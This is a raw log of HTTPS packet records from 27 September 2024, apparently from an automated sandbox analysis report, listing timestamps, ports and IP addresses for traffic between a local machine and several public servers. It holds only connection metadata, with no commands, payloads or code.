Sep 27, 2024 08:18:36.856434107 CEST	443	49719	35.190.80.1	192.168.2.5
Sep 27, 2024 08:18:36.856631994 CEST	49718	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:36.856791019 CEST	443	49719	35.190.80.1	192.168.2.5
Sep 27, 2024 08:18:36.857650042 CEST	49719	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:18:36.857707024 CEST	443	49719	35.190.80.1	192.168.2.5
Sep 27, 2024 08:18:36.858133078 CEST	49719	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:18:36.899405956 CEST	443	49719	35.190.80.1	192.168.2.5
Sep 27, 2024 08:18:36.899413109 CEST	443	49718	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:36.983160973 CEST	443	49719	35.190.80.1	192.168.2.5
Sep 27, 2024 08:18:36.983227968 CEST	443	49719	35.190.80.1	192.168.2.5
Sep 27, 2024 08:18:36.983452082 CEST	49719	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:18:36.983655930 CEST	49719	443	192.168.2.5	35.190.80.1
Sep 27, 2024 08:18:36.983674049 CEST	443	49719	35.190.80.1	192.168.2.5
Sep 27, 2024 08:18:37.009407043 CEST	443	49718	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:37.009450912 CEST	443	49718	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:37.009475946 CEST	443	49718	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:37.009502888 CEST	49718	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:37.009507895 CEST	443	49718	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:37.009519100 CEST	443	49718	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:37.009545088 CEST	49718	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:37.009562969 CEST	443	49718	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:37.009599924 CEST	49718	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:37.009608984 CEST	443	49718	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:37.009665966 CEST	443	49718	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:37.009819031 CEST	49718	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:37.010782003 CEST	49718	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:37.010791063 CEST	443	49718	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:37.205882072 CEST	443	49717	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:37.205971956 CEST	443	49717	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:37.206044912 CEST	49717	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:37.206068993 CEST	443	49717	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:37.206108093 CEST	443	49717	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:37.206398964 CEST	49717	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:37.271209002 CEST	443	49720	142.250.186.164	192.168.2.5
Sep 27, 2024 08:18:37.271527052 CEST	49720	443	192.168.2.5	142.250.186.164
Sep 27, 2024 08:18:37.271547079 CEST	443	49720	142.250.186.164	192.168.2.5
Sep 27, 2024 08:18:37.272542000 CEST	443	49720	142.250.186.164	192.168.2.5
Sep 27, 2024 08:18:37.272622108 CEST	49720	443	192.168.2.5	142.250.186.164
Sep 27, 2024 08:18:37.282417059 CEST	49720	443	192.168.2.5	142.250.186.164
Sep 27, 2024 08:18:37.282481909 CEST	443	49720	142.250.186.164	192.168.2.5
Sep 27, 2024 08:18:37.304752111 CEST	49721	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:37.304820061 CEST	443	49721	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:37.304941893 CEST	49721	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:37.308489084 CEST	49721	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:37.308506966 CEST	443	49721	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:37.337889910 CEST	49720	443	192.168.2.5	142.250.186.164
Sep 27, 2024 08:18:37.337908983 CEST	443	49720	142.250.186.164	192.168.2.5
Sep 27, 2024 08:18:37.357558966 CEST	49717	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:37.357590914 CEST	443	49717	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:37.384191990 CEST	49720	443	192.168.2.5	142.250.186.164
Sep 27, 2024 08:18:37.515291929 CEST	443	49703	23.1.237.91	192.168.2.5
Sep 27, 2024 08:18:37.515408039 CEST	49703	443	192.168.2.5	23.1.237.91
Sep 27, 2024 08:18:37.713969946 CEST	49722	443	192.168.2.5	184.28.90.27
Sep 27, 2024 08:18:37.714027882 CEST	443	49722	184.28.90.27	192.168.2.5
Sep 27, 2024 08:18:37.714287043 CEST	49722	443	192.168.2.5	184.28.90.27
Sep 27, 2024 08:18:37.715924025 CEST	49722	443	192.168.2.5	184.28.90.27
Sep 27, 2024 08:18:37.715939999 CEST	443	49722	184.28.90.27	192.168.2.5
Sep 27, 2024 08:18:37.765738964 CEST	443	49721	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:37.766104937 CEST	49721	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:37.766128063 CEST	443	49721	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:37.766472101 CEST	443	49721	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:37.767081976 CEST	49721	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:37.767149925 CEST	443	49721	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:37.767381907 CEST	49721	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:37.767457962 CEST	49721	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:37.767492056 CEST	443	49721	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:37.767648935 CEST	49721	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:37.815409899 CEST	443	49721	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:37.895061016 CEST	443	49721	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:37.895127058 CEST	443	49721	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:37.895212889 CEST	49721	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:37.903129101 CEST	49721	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:37.903153896 CEST	443	49721	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:38.163131952 CEST	49723	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:38.163178921 CEST	443	49723	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:38.163414955 CEST	49723	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:38.198796034 CEST	49723	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:38.198820114 CEST	443	49723	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:38.202368975 CEST	49724	443	192.168.2.5	199.36.158.100
Sep 27, 2024 08:18:38.202410936 CEST	443	49724	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.202522993 CEST	49725	443	192.168.2.5	199.36.158.100
Sep 27, 2024 08:18:38.202600002 CEST	49724	443	192.168.2.5	199.36.158.100
Sep 27, 2024 08:18:38.202625036 CEST	443	49725	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.202724934 CEST	49724	443	192.168.2.5	199.36.158.100
Sep 27, 2024 08:18:38.202738047 CEST	443	49724	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.202752113 CEST	49725	443	192.168.2.5	199.36.158.100
Sep 27, 2024 08:18:38.202934980 CEST	49725	443	192.168.2.5	199.36.158.100
Sep 27, 2024 08:18:38.202969074 CEST	443	49725	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.384959936 CEST	443	49722	184.28.90.27	192.168.2.5
Sep 27, 2024 08:18:38.385092974 CEST	49722	443	192.168.2.5	184.28.90.27
Sep 27, 2024 08:18:38.395853996 CEST	49722	443	192.168.2.5	184.28.90.27
Sep 27, 2024 08:18:38.395893097 CEST	443	49722	184.28.90.27	192.168.2.5
Sep 27, 2024 08:18:38.396127939 CEST	443	49722	184.28.90.27	192.168.2.5
Sep 27, 2024 08:18:38.449314117 CEST	49722	443	192.168.2.5	184.28.90.27
Sep 27, 2024 08:18:38.620285988 CEST	49722	443	192.168.2.5	184.28.90.27
Sep 27, 2024 08:18:38.658864021 CEST	443	49725	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.660240889 CEST	49725	443	192.168.2.5	199.36.158.100
Sep 27, 2024 08:18:38.660278082 CEST	443	49725	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.661322117 CEST	443	49725	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.661498070 CEST	49725	443	192.168.2.5	199.36.158.100
Sep 27, 2024 08:18:38.664262056 CEST	443	49724	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.666685104 CEST	49724	443	192.168.2.5	199.36.158.100
Sep 27, 2024 08:18:38.666709900 CEST	443	49724	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.667411089 CEST	443	49722	184.28.90.27	192.168.2.5
Sep 27, 2024 08:18:38.667788029 CEST	443	49724	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.667859077 CEST	49724	443	192.168.2.5	199.36.158.100
Sep 27, 2024 08:18:38.668967962 CEST	49725	443	192.168.2.5	199.36.158.100
Sep 27, 2024 08:18:38.669110060 CEST	443	49725	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.669205904 CEST	49724	443	192.168.2.5	199.36.158.100
Sep 27, 2024 08:18:38.669291019 CEST	443	49724	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.669457912 CEST	49725	443	192.168.2.5	199.36.158.100
Sep 27, 2024 08:18:38.669506073 CEST	443	49725	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.682447910 CEST	443	49723	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:38.682987928 CEST	49723	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:38.683003902 CEST	443	49723	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:38.683310032 CEST	443	49723	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:38.684575081 CEST	49723	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:38.684634924 CEST	443	49723	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:38.684735060 CEST	49723	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:38.684746027 CEST	443	49723	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:38.685273886 CEST	49723	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:38.685305119 CEST	443	49723	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:38.710779905 CEST	49724	443	192.168.2.5	199.36.158.100
Sep 27, 2024 08:18:38.710783958 CEST	49725	443	192.168.2.5	199.36.158.100
Sep 27, 2024 08:18:38.710788965 CEST	443	49724	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.757834911 CEST	49724	443	192.168.2.5	199.36.158.100
Sep 27, 2024 08:18:38.767358065 CEST	49728	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:38.767395020 CEST	443	49728	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:38.767473936 CEST	49728	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:38.768091917 CEST	49728	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:38.768105984 CEST	443	49728	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:38.806962013 CEST	443	49722	184.28.90.27	192.168.2.5
Sep 27, 2024 08:18:38.807050943 CEST	443	49722	184.28.90.27	192.168.2.5
Sep 27, 2024 08:18:38.807140112 CEST	49722	443	192.168.2.5	184.28.90.27
Sep 27, 2024 08:18:38.807698965 CEST	49722	443	192.168.2.5	184.28.90.27
Sep 27, 2024 08:18:38.807728052 CEST	443	49722	184.28.90.27	192.168.2.5
Sep 27, 2024 08:18:38.807770014 CEST	49722	443	192.168.2.5	184.28.90.27
Sep 27, 2024 08:18:38.807776928 CEST	443	49722	184.28.90.27	192.168.2.5
Sep 27, 2024 08:18:38.845999002 CEST	49729	443	192.168.2.5	184.28.90.27
Sep 27, 2024 08:18:38.846040010 CEST	443	49729	184.28.90.27	192.168.2.5
Sep 27, 2024 08:18:38.846165895 CEST	49729	443	192.168.2.5	184.28.90.27
Sep 27, 2024 08:18:38.846646070 CEST	49729	443	192.168.2.5	184.28.90.27
Sep 27, 2024 08:18:38.846659899 CEST	443	49729	184.28.90.27	192.168.2.5
Sep 27, 2024 08:18:38.885184050 CEST	443	49723	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:38.885245085 CEST	443	49723	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:38.885297060 CEST	49723	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:38.886518955 CEST	49723	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:38.886534929 CEST	443	49723	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:38.892035961 CEST	443	49725	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.892385006 CEST	443	49725	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.892420053 CEST	443	49725	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.892441034 CEST	49725	443	192.168.2.5	199.36.158.100
Sep 27, 2024 08:18:38.892476082 CEST	443	49725	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.892534018 CEST	49725	443	192.168.2.5	199.36.158.100
Sep 27, 2024 08:18:38.892540932 CEST	443	49725	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.893310070 CEST	443	49725	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.893343925 CEST	443	49725	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.893377066 CEST	443	49725	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.893387079 CEST	49725	443	192.168.2.5	199.36.158.100
Sep 27, 2024 08:18:38.893399000 CEST	443	49725	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.893412113 CEST	49725	443	192.168.2.5	199.36.158.100
Sep 27, 2024 08:18:38.893804073 CEST	443	49725	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.894071102 CEST	49725	443	192.168.2.5	199.36.158.100
Sep 27, 2024 08:18:38.894082069 CEST	443	49725	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.905806065 CEST	443	49725	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.905864954 CEST	49725	443	192.168.2.5	199.36.158.100
Sep 27, 2024 08:18:38.905900955 CEST	443	49725	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.948939085 CEST	49725	443	192.168.2.5	199.36.158.100
Sep 27, 2024 08:18:38.980403900 CEST	443	49725	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.980458975 CEST	443	49725	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.980489016 CEST	443	49725	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.980515957 CEST	443	49725	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.980545044 CEST	49725	443	192.168.2.5	199.36.158.100
Sep 27, 2024 08:18:38.980561018 CEST	443	49725	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.980622053 CEST	443	49725	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.980664968 CEST	49725	443	192.168.2.5	199.36.158.100
Sep 27, 2024 08:18:38.980690956 CEST	49725	443	192.168.2.5	199.36.158.100
Sep 27, 2024 08:18:38.980700016 CEST	443	49725	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.980712891 CEST	443	49725	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.980757952 CEST	49725	443	192.168.2.5	199.36.158.100
Sep 27, 2024 08:18:38.980772972 CEST	443	49725	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.980860949 CEST	443	49725	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:38.980940104 CEST	49725	443	192.168.2.5	199.36.158.100
Sep 27, 2024 08:18:38.999278069 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:38.999342918 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:38.999407053 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:38.999711990 CEST	49731	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:38.999742985 CEST	443	49731	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:38.999809980 CEST	49731	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:38.999980927 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:38.999995947 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:39.000252962 CEST	49731	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:39.000263929 CEST	443	49731	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:39.000821114 CEST	49732	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:39.000859022 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:39.000926018 CEST	49732	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:39.001230955 CEST	49732	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:39.001266956 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:39.001936913 CEST	49733	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:39.001971960 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:39.002103090 CEST	49733	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:39.002325058 CEST	49733	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:39.002338886 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:39.003310919 CEST	49734	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:39.003320932 CEST	443	49734	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:39.003417969 CEST	49734	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:39.012315989 CEST	49734	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:39.012332916 CEST	443	49734	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:39.013783932 CEST	49725	443	192.168.2.5	199.36.158.100
Sep 27, 2024 08:18:39.013860941 CEST	443	49725	199.36.158.100	192.168.2.5
Sep 27, 2024 08:18:39.046623945 CEST	49735	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:39.046665907 CEST	443	49735	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:39.046917915 CEST	49735	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:39.047375917 CEST	49735	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:39.047395945 CEST	443	49735	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:39.227534056 CEST	443	49728	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:39.242563963 CEST	49728	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:39.242583036 CEST	443	49728	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:39.250488997 CEST	443	49728	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:39.250580072 CEST	49728	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:39.489815950 CEST	443	49729	184.28.90.27	192.168.2.5
Sep 27, 2024 08:18:39.489900112 CEST	49729	443	192.168.2.5	184.28.90.27
Sep 27, 2024 08:18:39.491250992 CEST	49729	443	192.168.2.5	184.28.90.27
Sep 27, 2024 08:18:39.491264105 CEST	443	49729	184.28.90.27	192.168.2.5
Sep 27, 2024 08:18:39.491523027 CEST	443	49729	184.28.90.27	192.168.2.5
Sep 27, 2024 08:18:39.492840052 CEST	49729	443	192.168.2.5	184.28.90.27
Sep 27, 2024 08:18:39.500410080 CEST	443	49735	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:39.500710964 CEST	49735	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:39.500771999 CEST	443	49735	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:39.501787901 CEST	443	49735	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:39.501866102 CEST	49735	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:39.539412022 CEST	443	49729	184.28.90.27	192.168.2.5
Sep 27, 2024 08:18:39.646811962 CEST	49728	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:39.646878958 CEST	49728	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:39.646990061 CEST	443	49728	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:39.647259951 CEST	443	49728	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:39.647413969 CEST	49728	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:39.649027109 CEST	49728	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:39.649044991 CEST	443	49728	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:39.650051117 CEST	49736	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:39.650099039 CEST	443	49736	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:39.650204897 CEST	49736	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:39.650659084 CEST	49735	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:39.650681019 CEST	49735	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:39.650805950 CEST	443	49735	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:39.650953054 CEST	49735	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:39.650964022 CEST	443	49735	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:39.651000977 CEST	49735	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:39.651010990 CEST	49735	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:39.651588917 CEST	49737	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:39.651623011 CEST	443	49737	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:39.651762009 CEST	49737	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:39.652663946 CEST	49736	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:39.652677059 CEST	443	49736	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:39.653243065 CEST	49737	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:39.653253078 CEST	443	49737	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:39.766752958 CEST	443	49729	184.28.90.27	192.168.2.5
Sep 27, 2024 08:18:39.766823053 CEST	443	49729	184.28.90.27	192.168.2.5
Sep 27, 2024 08:18:39.766899109 CEST	49729	443	192.168.2.5	184.28.90.27
Sep 27, 2024 08:18:39.768467903 CEST	49729	443	192.168.2.5	184.28.90.27
Sep 27, 2024 08:18:39.768486977 CEST	443	49729	184.28.90.27	192.168.2.5
Sep 27, 2024 08:18:39.768498898 CEST	49729	443	192.168.2.5	184.28.90.27
Sep 27, 2024 08:18:39.768510103 CEST	443	49729	184.28.90.27	192.168.2.5
Sep 27, 2024 08:18:39.833874941 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:39.837095022 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:39.838263988 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:39.842338085 CEST	49733	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:39.842346907 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:39.842896938 CEST	49732	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:39.842921019 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:39.843118906 CEST	443	49734	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:39.843173981 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:39.843184948 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:39.843636990 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:39.843707085 CEST	49733	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:39.843846083 CEST	443	49731	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:39.843907118 CEST	49734	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:39.843913078 CEST	443	49734	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:39.844054937 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:39.844113111 CEST	49732	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:39.844330072 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:39.844393015 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:39.845844984 CEST	443	49734	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:39.845905066 CEST	49734	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:39.847059965 CEST	49733	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:39.847126007 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:39.847227097 CEST	49731	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:39.847254992 CEST	443	49731	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:39.848783016 CEST	443	49731	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:39.848853111 CEST	49731	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:39.850431919 CEST	49734	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:39.850553036 CEST	443	49734	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:39.851270914 CEST	49732	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:39.851341963 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:39.852088928 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:39.852271080 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:39.852735043 CEST	49731	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:39.852861881 CEST	443	49731	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:39.853354931 CEST	49733	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:39.853363037 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:39.853451014 CEST	49734	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:39.853457928 CEST	443	49734	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:39.853982925 CEST	49732	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:39.853995085 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:39.854134083 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:39.854140997 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:39.854337931 CEST	49731	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:39.854351997 CEST	443	49731	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:39.898439884 CEST	49733	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:39.898439884 CEST	49734	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:39.898540020 CEST	49731	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:39.898540974 CEST	49732	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:39.898544073 CEST	49730	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.093753099 CEST	443	49733	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.099117041 CEST	443	49730	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.100939989 CEST	443	49732	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.110167027 CEST	443	49736	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:40.110781908 CEST	49736	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:40.110821009 CEST	443	49736	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:40.111892939 CEST	443	49736	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:40.111957073 CEST	49736	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:40.112601995 CEST	49736	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:40.112668037 CEST	443	49736	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:40.113048077 CEST	443	49731	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.113359928 CEST	49736	443	192.168.2.5	188.114.96.3
Sep 27, 2024 08:18:40.113368988 CEST	443	49736	188.114.96.3	192.168.2.5
Sep 27, 2024 08:18:40.114187956 CEST	443	49734	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.115663052 CEST	443	49734	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.115674973 CEST	443	49734	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.115715981 CEST	443	49734	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.115736961 CEST	49734	443	192.168.2.5	152.199.21.175
Sep 27, 2024 08:18:40.115750074 CEST	443	49734	152.199.21.175	192.168.2.5
Sep 27, 2024 08:18:40.115761995 CEST	443	49734	152.199.21.175	192.168.2.5
